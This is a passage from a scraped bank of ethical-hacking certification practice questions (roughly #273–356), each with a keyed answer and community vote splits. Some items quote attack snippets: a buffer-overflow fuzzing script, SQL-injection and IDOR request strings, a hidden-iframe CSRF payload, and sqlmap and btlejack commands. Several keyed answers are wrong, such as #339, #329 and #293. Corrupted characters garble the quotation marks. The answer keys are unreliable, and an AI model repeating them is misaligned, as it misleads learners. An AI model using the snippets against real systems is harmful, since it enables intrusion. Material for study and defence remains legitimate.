D. nmap -sT

Correct Answer: *C*

Question #274 *Topic 1*

Which protocol is used for setting up secure channels between two devices, typically in VPNs?

A. PEM

B. ppp

C. IPSEC

D. SET

Correct Answer: *C*

Question #275 *Topic 1*

You have compromised a server on a network and successfully opened a shell. You aimed to identify all operating systems running on the network. However, as you attempt to fingerprint all machines in the network using the nmap syntax below, it is not going through.
invictus@victim_server.~$ nmap -T4 -O 10.10.0.0/24 TCP/IP fingerprinting (for OS scan) xxxxxxx xxxxxx xxxxxxxxx. QUITTING!
What seems to be wrong?

A. The nmap syntax is wrong.

B. This is a common behavior for a corrupted nmap application.

C. The outgoing TCP/IP fingerprinting is blocked by the host firewall.

D. OS Scan requires root privileges.

Correct Answer: *D*

Question #276 *Topic 1*

What is the most common method to exploit the `Bash Bug` or `Shellshock` vulnerability?

A. SYN Flood

B. SSH

C. Through Web servers utilizing CGI (Common Gateway Interface) to send a malformed environment variable to a vulnerable Web server

D. Manipulate format strings in text fields

Correct Answer: *C*

Question #277 *Topic 1*

Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?

TCP port 21 no response -
TCP port 22 no response -
TCP port 23 Time-to-live exceeded

A. The lack of response from ports 21 and 22 indicate that those services are not running on the destination server

B. The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error

C. The scan on port 23 passed through the filtering device. This indicates that port 23 was not blocked at the firewall

D. The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host

Correct Answer: *C*

Question #278 *Topic 1*

#!/usr/bin/python import socket buffer=[``A``] counter=50 while len(buffer)<=100: buffer.append (``A``*counter) counter=counter+50 commands= [``HELP``,``STATS .``,``RTIME .``,``LTIME. ``,``SRUN .`,``TRUN .``,``GMON .``,``GDOG .``,``KSTET .`,``GTER .``,``HTER .``, ``LTER .`,``KSTAN .``] for command in commands: for buffstring in buffer: print ``Exploiting`` +command +``:``+str(len(buffstring)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect
((`˜127.0.0.1', 9999)) s.recv(50) s.send(command+buffstring) s.close()
What is the code written for?

A. Denial-of-service (DOS)

B. Buffer Overflow

C. Bruteforce

D. Encryption

Correct Answer: *B*

Question #279 *Topic 1*

Which tier in the N-tier application architecture is responsible for moving and processing data between the tiers?

A. Presentation tier

B. Application Layer

C. Logic tier

D. Data tier

Correct Answer: *C*

Community vote distribution

C (67%) A (33%)

Question #280 *Topic 1*

In both pharming and phishing attacks, an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims.
What is the difference between pharming and phishing attacks?

A. In a pharming attack, a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a phishing attack, an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain name

B. In a phishing attack, a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a pharming attack, an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain name

C. Both pharming and phishing attacks are purely technical and are not considered forms of social engineering

D. Both pharming and phishing attacks are identical

Correct Answer: *A*

Question #281 *Topic 1*

When configuring wireless on his home router, Javik disables SSID broadcast. He leaves authentication `open` but sets the SSID to a 32-character string of random letters and numbers.
What is an accurate assessment of this scenario from a security perspective?

A. Since the SSID is required in order to connect, the 32-character string is sufficient to prevent brute-force attacks.

B. Disabling SSID broadcast prevents 802.11 beacons from being transmitted from the access point, resulting in a valid setup leveraging ɹ€security through obscurityɹ€.

C. It is still possible for a hacker to connect to the network after sniffing the SSID from a successful wireless association.

D. Javik's router is still vulnerable to wireless hacking attempts because the SSID broadcast setting can be enabled using a specially crafted packet sent to the hardware address of the access point.

Correct Answer: *C*

Question #282 *Topic 1*

Chandler works as a pen-tester in an IT-firm in New York. As a part of detecting viruses in the systems, he uses a detection method where the anti-virus executes the malicious codes on a virtual machine to simulate CPU and memory activities. Which type of virus detection method did Chandler use in this context?

A. Heuristic Analysis

B. Code Emulation

C. Scanning

D. Integrity checking

Correct Answer: *B*

Question #283 *Topic 1*

Which of the following statements is TRUE?

A. Packet Sniffers operate on the Layer 1 of the OSI model.

B. Packet Sniffers operate on Layer 2 of the OSI model.

C. Packet Sniffers operate on both Layer 2 & Layer 3 of the OSI model.

D. Packet Sniffers operate on Layer 3 of the OSI model.

Correct Answer: *B*

Community vote distribution

B (100%)

Question #284 *Topic 1*

Insecure direct object reference is a type of vulnerability where the application does not verify if the user is authorized to access the internal object via its name or key. Suppose a malicious user Rob tries to get access to the account of a benign user Ned.
Which of the following requests best illustrates an attempt to exploit an insecure direct object reference vulnerability?

A. ز€GET /restricted/goldtransfer?to=Rob&from=1 or 1=1' HTTP/1.1Host: westbank.comز€

B. ز€GET /restricted/\r\n\%00account%00Ned%00access HTTP/1.1 Host: westbank.comز€

C. ز€GET /restricted/accounts/?name=Ned HTTP/1.1 Host westbank.comز€

D. ز€GET /restricted/ HTTP/1.1 Host: westbank.com

Correct Answer: *C*

Question #285 *Topic 1*

Mary found a high vulnerability during a vulnerability scan and notified her server team. After analysis, they sent her proof that a fix to that issue had already been applied. The vulnerability that Marry found is called what?

A. False-negative

B. False-positive

C. Brute force attack

D. Backdoor

Correct Answer: *B*

Question #286 *Topic 1*

What is the least important information when you analyze a public IP address in a security alert?

A. DNS

B. Whois

C. Geolocation

D. ARP

Correct Answer: *D*

Question #287 *Topic 1*

You are a security officer of a company. You had an alert from IDS that indicates that one PC on your Intranet is connected to a blacklisted IP address (C2 Server) on the Internet. The IP address was blacklisted just before the alert. You are starting an investigation to roughly analyze the severity of the situation. Which of the following is appropriate to analyze?

A. IDS log

B. Event logs on domain controller

C. Internet Firewall/Proxy log.

D. Event logs on the PC

Correct Answer: *C*

Question #288 *Topic 1*

Which of the following antennas is commonly used in communications for a frequency band of 10 MHz to VHF and UHF?

A. Yagi antenna

B. Dipole antenna

C. Parabolic grid antenna

D. Omnidirectional antenna

Correct Answer: *A*

Question #289 *Topic 1*

From the following table, identify the wrong answer in terms of Range (ft).
Standard Range (ft)
802.11a 150-150
802.11b 150-150
802.11g 150-150
802.16 (WiMax) 30 miles

A. 802.16 (WiMax)

B. 802.11g

C. 802.11b

D. 802.11a

Correct Answer: *A*

Question #290 *Topic 1*

Which tool can be used to silently copy files from USB devices?

A. USB Grabber

B. USB Snoopy

C. USB Sniffer

D. Use Dumper

Correct Answer: *D*

Community vote distribution

A (67%) D (33%)

Question #291 *Topic 1*

A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed.
Which security policy must the security analyst check to see if dial-out modems are allowed?

A. Firewall-management policy

B. Acceptable-use policy

C. Permissive policy

D. Remote-access policy

Correct Answer: *D*

Community vote distribution

B (100%)

Question #292 *Topic 1*

ping-* 6 192.168.0.101
Output:
Pinging 192.168.0.101 with 32 bytes of data:
Reply from 192.168.0.101: bytes=32 time<1ms TTL=128
Reply from 192.168.0.101: bytes=32 time<1ms TTL=128
Reply from 192.168.0.101: bytes=32 time<1ms TTL=128
Reply from 192.168.0.101: bytes=32 time<1ms TTL=128
Reply from 192.168.0.101: bytes=32 time<1ms TTL=128
Reply from 192.168.0.101:
Ping statistics for 192.168.0101
Packets: Sent = 6, Received = 6, Lost = 0 (0% loss).
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
What does the option * indicate?

A. t

B. s

C. a

D. n

Correct Answer: *D*

Question #293 *Topic 1*

Which of the following is a passive wireless packet analyzer that works on Linux-based systems?

A. Burp Suite

B. OpenVAS

C. tshark

D. Kismet

Correct Answer: *C*

Community vote distribution

D (100%)

Question #294 *Topic 1*

A company's Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application.
What kind of Web application vulnerability likely exists in their software?

A. Cross-site scripting vulnerability

B. SQL injection vulnerability

C. Web site defacement vulnerability

D. Gross-site Request Forgery vulnerability

Correct Answer: *A*

Question #295 *Topic 1*

On performing a risk assessment, you need to determine the potential impacts when some of the critical business processes of the company interrupt its service.
What is the name of the process by which you can determine those critical businesses?

A. Emergency Plan Response (EPR)

B. Business Impact Analysis (BIA)

C. Risk Mitigation

D. Disaster Recovery Planning (DRP)

Correct Answer: *B*

Question #296 *Topic 1*

What type of a vulnerability/attack is it when the malicious person forces the user's browser to send an authenticated request to a server?

A. Session hijacking

B. Server side request forgery

C. Cross-site request forgery

D. Cross-site scripting

Correct Answer: *C*

Community vote distribution

C (60%) B (40%)

Question #297 *Topic 1*

Websites and web portals that provide web services commonly use the Simple Object Access Protocol (SOAP).
Which of the following is an incorrect definition or characteristics of the protocol?

A. Exchanges data between web services

B. Only compatible with the application protocol HTTP

C. Provides a structured model for messaging

D. Based on XML

Correct Answer: *B*

Community vote distribution

B (71%) D (29%)

Question #298 *Topic 1*

A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm's public facing web servers. The engineer decides to start by using netcat to port 80.
The engineer receives this output:

HTTP/1.1 200 OK -

Server: Microsoft-IIS/6 -
Expires: Tue, 17 Jan 2011 01:41:33 GMT
Date: Mon, 16 Jan 2011 01:41:33 GMT

Content-Type: text/html -

Accept-Ranges: bytes -
Last Modified: Wed, 28 Dec 2010 15:32:21 GMT
ETag:`b0aac0542e25c31:89d`

Content-Length: 7369 -
Which of the following is an example of what the engineer performed?

A. Banner grabbing

B. SQL injection

C. Whois database query

D. Cross-site scripting

Correct Answer: *A*

Question #299 *Topic 1*

The network in ABC company is using the network address 192.168.1.64 with mask 255.255.255.192. In the network the servers are in the addresses
192.168.1.122, 192.168.1.123 and 192.168.1.124. An attacker is trying to find those servers but he cannot see them in his scanning. The command he is using is: nmap 192.168.1.64/28.
Why he cannot see the servers?

A. He needs to add the command ɹ€ɹ€ip addressɹ€ɹ€ just before the IP address

B. He needs to change the address to 192.168.1.0 with the same mask

C. He is scanning from 192.168.1.64 to 192.168.1.78 because of the mask /28 and the servers are not in that range

D. The network must be dawn and the nmap command and IP address are ok

Correct Answer: *C*

Question #300 *Topic 1*

An attacker changes the profile information of a particular user (victim) on the target website. The attacker uses this string to update the victim's profile to a text file and then submit the data to the attacker's database.
< iframe src=``http://www.vulnweb.com/updateif.php`` style=``display:none`` > < /iframe >
What is this type of attack (that can use either HTTP GET or HTTP POST) called?

A. Browser Hacking

B. Cross-Site Scripting

C. SQL Injection

D. Cross-Site Request Forgery

Correct Answer: *D*

Community vote distribution

D (60%) B (40%)

Question #301 *Topic 1*

Which Metasploit Framework tool can help penetration tester for evading Anti-virus Systems?

A. msfpayload

B. msfcli

C. msfd

D. msfencode

Correct Answer: *D*

Question #302 *Topic 1*

When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners.
What proxy tool will help you find web vulnerabilities?

A. Maskgen

B. Dimitry

C. Burpsuite

D. Proxychains

Correct Answer: *C*

Question #303 *Topic 1*

Which Nmap option would you use if you were not concerned about being detected and wanted to perform a very fast scan?

A. -T5

B. -O

C. -T0

D. -A

Correct Answer: *A*

Question #304 *Topic 1*

Which of the following Bluetooth hacking techniques does an attacker use to send messages to users without the recipient's consent, similar to email spamming?

A. Bluesmacking

B. BlueSniffing

C. Bluejacking

D. Bluesnarfing

Correct Answer: *C*

Question #305 *Topic 1*

You are a penetration tester and are about to perform a scan on a specific server. The agreement that you signed with the client contains the following specific condition for the scan: `The attacker must scan every port on the server several times using a set of spoofed source IP addresses.` Suppose that you are using
Nmap to perform this scan.
What flag will you use to satisfy this requirement?

A. The -g flag

B. The -A flag

C. The -f fag

D. The -D flag

Correct Answer: *D*

Community vote distribution

D (75%) A (25%)

Question #306 *Topic 1*

Dayn, an attacker, wanted to detect if any honeypots are installed in a target network. For this purpose, he used a time-based TCP fingerprinting method to validate the response to a normal computer and the response of a honeypot to a manual SYN request.
Which of the following techniques is employed by Dayn to detect honeypots?

A. Detecting honeypots running on VMware

B. Detecting the presence of Snort_inline honeypots

C. Detecting the presence of Honeyd honeypots

D. Detecting the presence of Sebek-based honeypots

Correct Answer: *B*

Community vote distribution

C (100%)

Question #307 *Topic 1*

While performing an Nmap scan against a host, Paola determines the existence of a firewall.
In an attempt to determine whether the firewall is stateful or stateless, which of the following options would be best to use?

A. -sA

B. -sX

C. -sT

D. -sF

Correct Answer: *A*

Question #308 *Topic 1*

Jacob works as a system administrator in an organization. He wants to extract the source code of a mobile application and disassemble the application to analyze its design flaws. Using this technique, he wants to fix any bugs in the application, discover underlying vulnerabilities, and improve defense strategies against attacks.
What is the technique used by Jacob in the above scenario to improve the security of the mobile application?

A. Reverse engineering

B. App sandboxing

C. Jailbreaking

D. Social engineering

Correct Answer: *A*

Community vote distribution

A (100%)

Question #309 *Topic 1*

Mason, a professional hacker, targets an organization and spreads Emotet malware through malicious script. After infecting the victim's device, Mason further used Emotet to spread the infection across local networks and beyond to compromise as many machines as possible. In this process, he used a tool, which is a self-extracting RAR file, to retrieve information related to network resources such as writable share drives.
What is the tool employed by Mason in the above scenario?

A. NetPass.exe

B. Outlook scraper

C. WebBrovvserPassView

D. Credential enumerator

Correct Answer: *D*

Community vote distribution

D (100%)

Question #310 *Topic 1*

Which rootkit is characterized by its function of adding code and/or replacing some of the operating-system kernel code to obscure a backdoor on a system?

A. User-mode rootkit

B. Library-level rootkit

C. Kernel-level rootkit

D. Hypervisor-level rootkit

Correct Answer: *C*

Question #311 *Topic 1*

Roma is a member of a security team. She was tasked with protecting the internal network of an organization from imminent threats. To accomplish this task,
Roma fed threat intelligence into the security devices in a digital format to block and identify inbound and outbound malicious traffic entering the organization's network.
Which type of threat intelligence is used by Roma to secure the internal network?

A. Operational threat intelligence

B. Strategic threat intelligence

C. Tactical threat intelligence

D. Technical threat intelligence

Correct Answer: *D*

Community vote distribution

D (80%) A (20%)

Question #312 *Topic 1*

To hide the file on a Linux system, you have to start the filename with a specific character.
What is the character?

A. Tilde (~)

B. Underscore (_)

C. Period (.)

D. Exclamation mark (!)

Correct Answer: *C*

Question #313 *Topic 1*

Ron, a security professional, was pen testing web applications and SaaS platforms used by his company. While testing, he found a vulnerability that allows hackers to gain unauthorized access to API objects and perform actions such as view, update, and delete sensitive data of the company.
What is the API vulnerability revealed in the above scenario?

A. No ABAC validation

B. Business logic flaws

C. Improper use of CORS

D. Code injections

Correct Answer: *C*

Community vote distribution

A (100%)

Question #314 *Topic 1*

Sophia is a shopping enthusiast who spends significant time searching for trendy outfits online. Clark, an attacker, noticed her activities several times and sent a fake email containing a deceptive page link to her social media page displaying all-new and trendy outfits. In excitement, Sophia clicked on the malicious link and logged in to that page using her valid credentials.
Which of the following tools is employed by Clark to create the spoofed email?

A. Evilginx

B. Slowloris

C. PLCinject

D. PyLoris

Correct Answer: *A*

Question #315 *Topic 1*

Lewis, a professional hacker, targeted the IoT cameras and devices used by a target venture-capital firm. He used an information-gathering tool to collect information about the IoT devices connected to a network, open ports and services, and the attack surface area. Using this tool, he also generated statistical reports on broad usage patterns and trends. This tool helped Lewis continually monitor every reachable server and device on the Internet, further allowing him to exploit these devices in the network.
Which of the following tools was employed by Lewis in the above scenario?

A. NeuVector

B. Lacework

C. Censys

D. Wapiti

Correct Answer: *C*

Question #316 *Topic 1*

You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic. If you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?

A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

B. You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates.

C. You should use netstat to check for any suspicious connections with another IP address within the LAN.

D. You cannot identify such an attack and must use a VPN to protect your traffic.

Correct Answer: *A*

Community vote distribution

A (50%) B (50%)

Question #317 *Topic 1*

Jude, a pen tester, examined a network from a hacker's perspective to identify exploits and vulnerabilities accessible to the outside world by using devices such as firewalls, routers, and servers. In this process, he also estimated the threat of network security attacks and determined the level of security of the corporate network.
What is the type of vulnerability assessment that Jude performed on the organization?

A. Application assessment

B. External assessment

C. Passive assessment

D. Host-based assessment

Correct Answer: *B*

Question #318 *Topic 1*

Which of the following Google advanced search operators helps an attacker in gathering information about websites that are similar to a specified target URL?

A. [inurl:]

B. [info:]

C. [site:]

D. [related:]

Correct Answer: *D*

Question #319 *Topic 1*

Josh has finished scanning a network and has discovered multiple vulnerable services. He knows that several of these usually have protections against external sources but are frequently susceptible to internal users. He decides to draft an email, spoof the sender as the internal IT team, and attach a malicious file disguised as a financial spreadsheet. Before Josh sends the email, he decides to investigate other methods of getting the file onto the system.
For this particular attempt, what was the last stage of the cyber kill chain that Josh performed?

A. Weaponization

B. Delivery

C. Reconnaissance

D. Exploitation

Correct Answer: *A*

Community vote distribution

C (50%) A (50%)

Question #320 *Topic 1*

Upon establishing his new startup, Tom hired a cloud service provider (CSP) but was dissatisfied with their service and wanted to move to another CSP.
What part of the contract might prevent him from doing so?

A. Lock-down

B. Virtualization

C. Lock-in

D. Lock-up

Correct Answer: *C*

Community vote distribution

C (100%)

Question #321 *Topic 1*

A "Server-Side Includes" attack refers to the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary code remotely.
Which web-page file type, if it exists on the web server, is a strong indication that the server is vulnerable to this kind of attack?

A. .stm

B. .cms

C. .rss

D. .html

Correct Answer: *A*

Community vote distribution

A (83%) D (17%)

Question #322 *Topic 1*

An attacker can employ many methods to perform social engineering against unsuspecting employees, including scareware.
What is the best example of a scareware attack?

A. A pop-up appears to a user stating, "You have won a free cruise! Click here to daim your prize!"

B. A banner appears to a user stating, "Your account has been locked. Click here to reset your password and unlock your account."

C. A pop-up appears to a user stating, "Your computer may have been infected with spyware. Click here to install an anti-spyware tool to resolve this issue."

D. A banner appears to a user stating, "Your Amazon order has been delayed. Click here to find out your new delivery date."

Correct Answer: *C*

Question #323 *Topic 1*

Sam, a web developer, was instructed to incorporate a hybrid encryption software program into a web application to secure email messages. Sam used an encryption software, which is a free implementation of the OpenPGP standard that uses both symmetric-key cryptography and asymmetric-key cryptography for improved speed and secure key exchange.
What is the encryption software employed by Sam for securing the email messages?

A. PGP

B. SMTP

C. GPG

D. S/MIME

Correct Answer: *A*

Community vote distribution

C (100%)

Question #324 *Topic 1*

Harper, a software engineer, is developing an email application. To ensure the confidentiality of email messages, Harper uses a symmetric-key block cipher having a classical 12- or 16-round Feistel network with a block size of 64 bits for encryption, which includes large 8 — 32-bit S-boxes (S1, S2, S3, S4) based on bent functions, modular addition and subtraction, key-dependent rotation, and XOR operations. This cipher also uses a masking key (Km1) and a rotation key
(Kr1) for performing its functions.
What is the algorithm employed by Harper to secure the email messages?

A. CAST-128

B. AES

C. GOST block cipher

D. DES

Correct Answer: *A*

Question #325 *Topic 1*

John, a professional hacker, targeted CyberSol Inc., an MNC. He decided to discover the IoT devices connected in the target network that are using default credentials and are vulnerable to various hijacking attacks. For this purpose, he used an automated tool to scan the target network for specific types of IoT devices and detect whether they are using the default, factory-set credentials.
What is the tool employed by John in the above scenario?

A. IoT Inspector

B. AT&T IoT Platform

C. IoTSeeker

D. Azure IoT Central

Correct Answer: *C*

Question #326 *Topic 1*

Which of the following types of SQL injection attacks extends the results returned by the original query, enabling attackers to run two or more statements if they have the same structure as the original one?

A. Union SQL injection

B. Error-based injection

C. Blind SQL injection

D. Boolean-based blind SQL injection

Correct Answer: *A*

Question #327 *Topic 1*

Peter, a system administrator working at a reputed IT firm, decided to work from his home and login remotely. Later, he anticipated that the remote connection could be exposed to session hijacking. To curb this possibility, he implemented a technique that creates a safe and encrypted tunnel over a public network to securely send and receive sensitive information and prevent hackers from decrypting the data flow between the endpoints.
What is the technique followed by Peter to send files securely through a remote connection?

A. VPN

B. SMB signing

C. DMZ

D. Switch network

Correct Answer: *A*

Question #328 *Topic 1*

Which of the following allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack?

A. Vulnerability analysis

B. Malware analysis

C. Scanning networks

D. Enumeration

Correct Answer: *C*

Question #329 *Topic 1*

Bob wants to ensure that Alice can check whether his message has been tampered with. He creates a checksum of the message and encrypts it using asymmetric cryptography.
What key does Bob use to encrypt the checksum for accomplishing this goal?

A. Alice's public key

B. His own public key

C. His own private key

D. Alice's private key

Correct Answer: *A*

Community vote distribution

C (63%) A (38%)

Question #330 *Topic 1*

Kevin, an encryption specialist, implemented a technique that enhances the security of keys used for encryption and authentication. Using this technique, Kevin input an initial key to an algorithm that generated an enhanced key that is resistant to brute-force attacks.
What is the technique employed by Kevin to improve the security of encryption keys?

A. Key stretching

B. Public key infrastructure

C. Key derivation function

D. Key reinstallation

Correct Answer: *A*

Community vote distribution

A (100%)

Question #331 *Topic 1*

Geena, a cloud architect, uses a master component in the Kubernetes cluster architecture that scans newly generated pods and allocates a node to them. This component can also assign nodes based on factors such as the overall resource requirement, data locality, software/hardware/policy restrictions, and internal workload interventions.
Which of the following master components is explained in the above scenario?

A. Kube-apiserver

B. Etcd cluster

C. Kube-controller-manager

D. Kube-scheduler

Correct Answer: *D*

Question #332 *Topic 1*

Eric, a cloud security engineer, implements a technique for securing the cloud resources used by his organization. This technique assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. Using this technique, he also imposed conditions such that employees can access only the resources required for their role.
What is the technique employed by Eric to secure cloud resources?

A. Demilitarized zone

B. Zero trust network

C. Serverless computing

D. Container technology

Correct Answer: *B*

Question #333 *Topic 1*

Clark, a professional hacker, attempted to perform a Btlejacking attack using an automated tool, Btlejack, and hardware tool, micro:bit. This attack allowed Clark to hijack, read, and export sensitive information shared between connected devices. To perform this attack, Clark executed various btlejack commands.
Which of the following commands was used by Clark to hijack the connections?

A. btlejack -f 0x9c68fd30 -t -m 0x1fffffffff

B. btlejack -c any

C. btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s

D. btlejack -f 0x129f3244 -j

Correct Answer: *A*

Question #334 *Topic 1*

Which among the following is the best example of the hacking concept called "clearing tracks"?

A. An attacker gains access to a server through an exploitable vulnerability.

B. During a cyberattack, a hacker injects a rootkit into a server.

C. After a system is breached, a hacker creates a backdoor to allow re-entry into a system.

D. During a cyberattack, a hacker corrupts the event logs on all machines.

Correct Answer: *D*

Question #335 *Topic 1*

Harris is attempting to identify the OS running on his target machine. He inspected the initial TTL in the IP header and the related TCP window size and obtained the following results:

TTL: 64 -

Window Size: 5840 -
What the OS running on the target machine?

A. Windows OS

B. Mac OS

C. Linux OS

D. Solaris OS

Correct Answer: *C*

Question #336 *Topic 1*

Which type of attack attempts to overflow the content-addressable memory (CAM) table in an Ethernet switch?

A. DDoS attack

B. Evil twin attack

C. DNS cache flooding

D. MAC flooding

Correct Answer: *D*

Question #337 *Topic 1*

Which Nmap switch helps evade IDS or firewalls?

A. -D

B. -n/-R

C. -T

D. -oN/-oX/-oG

Correct Answer: *C*

Community vote distribution

A (67%) D (22%) 11%

Question #338 *Topic 1*

Thomas, a cloud security professional, is performing security assessment on cloud services to identify any loopholes. He detects a vulnerability in a bare-metal cloud server that can enable hackers to implant malicious backdoors in its firmware. He also identified that an installed backdoor can persist even if the server is reallocated to new clients or businesses that use it as an IaaS.
What is the type of cloud attack that can be performed by exploiting the vulnerability discussed in the above scenario?

A. Cloudborne attack

B. Man-in-the-cloud (MITC) attack

C. Metadata spoofing attack

D. Cloud cryptojacking

Correct Answer: *A*

Question #339 *Topic 1*

What is the following command used for?
sqlmap.py -u "http://10.10.1.20/?p=1&forumaction=search" -dbs

A. Retrieving SQL statements being executed on the database

B. Creating backdoors using SQL injection

C. Enumerating the databases in the DBMS for the URL

D. Searching database statements at the IP address given

Correct Answer: *B*

Community vote distribution

C (100%)

Question #340 *Topic 1*

An attacker identified that a user and an access point are both compatible with WPA2 and WPA3 encryption. The attacker installed a rogue access point with only
WPA2 compatibility in the vicinity and forced the victim to go through the WPA2 four-way handshake to get connected. After the connection was established, the attacker used automated tools to crack WPA2-encrypted messages.
What is the attack performed in the above scenario?

A. Cache-based attack

B. Timing-based attack

C. Downgrade security attack

D. Side-channel attack

Correct Answer: *D*

Community vote distribution

C (83%) D (17%)

Question #341 *Topic 1*

Which of the following Metasploit post-exploitation modules can be used to escalate privileges on Windows systems?

A. getsystem

B. getuid

C. keylogrecorder

D. autoroute

Correct Answer: *A*

Question #342 *Topic 1*

Leverox Solutions hired Arnold, a security professional, for the threat intelligence process. Arnold collected information about specific threats against the organization. From this information, he retrieved contextual information about security events and incidents that helped him disclose potential risks and gain insight into attacker methodologies. He collected the information from sources such as humans, social media, and chat rooms as well as from events that resulted in cyberattacks. In this process, he also prepared a report that includes identified malicious activities, recommended courses of action, and warnings for emerging attacks.
What is the type of threat intelligence collected by Arnold in the above scenario?

A. Strategic threat intelligence

B. Operational threat intelligence

C. Technical threat intelligence

D. Tactical threat intelligence

Correct Answer: *B*

Question #343 *Topic 1*

Bill has been hired as a penetration tester and cyber security auditor for a major credit card company.
Which information security standard is most applicable to his role?

A. FISMA

B. Sarbanes-Oxley Act

C. HITECH

D. PCI-DSS

Correct Answer: *D*

Question #344 *Topic 1*

Which type of malware spreads from one system to another or from one network to another and causes similar types of damage as viruses do to the infected system?

A. Worm

B. Rootkit

C. Adware

D. Trojan

Correct Answer: *A*

Question #345 *Topic 1*

Alex, a cloud security engineer working in Eyecloud Inc. is tasked with isolating applications from the underlying infrastructure and stimulating communication via well-defined channels. For this purpose, he used an open-source technology that helped him in developing, packaging, and running applications; further, the technology provides PaaS through OS-level virtualization, delivers containerized software packages, and promotes fast software delivery.
What is the cloud technology employed by Alex in the above scenario?

A. Virtual machine

B. Docker

C. Zero trust network

D. Serverless computing

Correct Answer: *B*

Question #346 *Topic 1*

George, an employee of an organization, is attempting to access restricted websites from an official computer. For this purpose, he used an anonymizer that masked his real IP address and ensured complete and continuous anonymity for all his online activities.
Which of the following anonymizers helps George hide his activities?

A. https://www.baidu.com

B. https://www.guardster.com

C. https://www.wolframalpha.com

D. https://karmadecay.com

Correct Answer: *B*

Question #347 *Topic 1*

An attacker utilizes a Wi-Fi Pineapple to run an access point with a legitimate-looking SSID for a nearby business in order to capture the wireless password.
What kind of attack is this?

A. MAC spoofing attack

B. War driving attack

C. Phishing attack

D. Evil-twin attack

Correct Answer: *D*

Question #348 *Topic 1*

Attacker Simon targeted the communication network of an organization and disabled the security controls of NetNTLMv1 by modifying the values of
LMCompatibilityLevel, NTLMMinClientSec, and RestrictSendingNTLMTraffic. He then extracted all the non-network logon tokens from all the active processes to masquerade as a legitimate user to launch further attacks.
What is the type of attack performed by Simon?

A. Combinator attack

B. Dictionary attack

C. Rainbow table attack

D. Internal monologue attack

Correct Answer: *D*

Question #349 *Topic 1*

Stephen, an attacker, targeted the industrial control systems of an organization. He generated a fraudulent email with a malicious attachment and sent it to employees of the target organization. An employee who manages the sales software of the operational plant opened the fraudulent email and clicked on the malicious attachment. This resulted in the malicious attachment being downloaded and malware being injected into the sales software maintained in the victim's system. Further, the malware propagated itself to other networked systems, finally damaging the industrial automation components.
What is the attack technique used by Stephen to damage the industrial systems?

A. HMI-based attack

B. SMishing attack

C. Reconnaissance attack

D. Spear-phishing attack

Correct Answer: *D*

Question #350 *Topic 1*

What useful information is gathered during a successful Simple Mail Transfer Protocol (SMTP) enumeration?

A. A list of all mail proxy server addresses used by the targeted host.

B. The internal command RCPT provides a list of ports open to message traffic.

C. The two internal commands VRFY and EXPN provide a confirmation of valid users, email addresses, aliases, and mailing lists.

D. Reveals the daily outgoing message limits before mailboxes are locked.

Correct Answer: *C*

Question #351 *Topic 1*

This type of injection attack does not show any error message. It is difficult to exploit as it returns information when the application is given SQL payloads that elicit a true or false response from the server. By observing the response, an attacker can extract sensitive information.
What type of attack is this?

A. Union SQL injection

B. Error-based SQL injection

C. Time-based SQL injection

D. Blind SQL injection

Correct Answer: *D*

Question #352 *Topic 1*

Robert, a professional hacker, is attempting to execute a fault injection attack on a target IoT device. In this process, he injects faults into the power supply that can be used for remote execution, also causing the skipping of key instructions. He also injects faults into the clock network used for delivering a synchronized signal across the chip.
Which of the following types of fault injection attack is performed by Robert in the above scenario?

A. Frequency/voltage tampering

B. Optical, electromagnetic fault injection (EMFI)

C. Temperature attack

D. Power/clock/reset glitching

Correct Answer: *B*

Question #353 *Topic 1*

Jane is working as a security professional at CyberSol Inc. She was tasked with ensuring the authentication and integrity of messages being transmitted in the corporate network. To encrypt the messages, she implemented a security model in which every user in the network maintains a ring of public keys. In this model, a user needs to encrypt a message using the receiver's public key, and only the receiver can decrypt the message using their private key.
What is the security model implemented by Jane to secure corporate messages?

A. Zero trust network

B. Secure Socket Layer (SSL)

C. Transport Layer Security (TLS)

D. Web of trust (WOT)

Correct Answer: *D*

Question #354 *Topic 1*

What would be the purpose of running "wget 192.168.0.15 -q -S" against a web server?

A. Performing content enumeration on the web server to discover hidden folders

B. Using wget to perform banner grabbing on the webserver

C. Flooding the web server with requests to perform a DoS attack

D. Downloading all the contents of the web page locally for further examination

Correct Answer: *B*

Question #355 *Topic 1*

Mike, a security engineer, was recently hired by BigFox Ltd. The company recently experienced disastrous DoS attacks. The management had instructed Mike to build defensive strategies for the company's IT infrastructure to thwart DoS/DDoS attacks. Mike deployed some countermeasures to handle jamming and scrambling attacks.
What is the countermeasure Mike applied to defend against jamming and scrambling attacks?

A. Allow the transmission of all types of addressed packets at the ISP level

B. Disable TCP SYN cookie protection

C. Allow the usage of functions such as gets and strcpy

D. Implement cognitive radios in the physical layer

Correct Answer: *D*

Question #356 *Topic 1*

Your organization has signed an agreement with a web hosting provider that requires you to take full responsibility of the maintenance of the cloud-based resources.
Which of the following models covers this?

A. Platform as a service

B. Software as a service

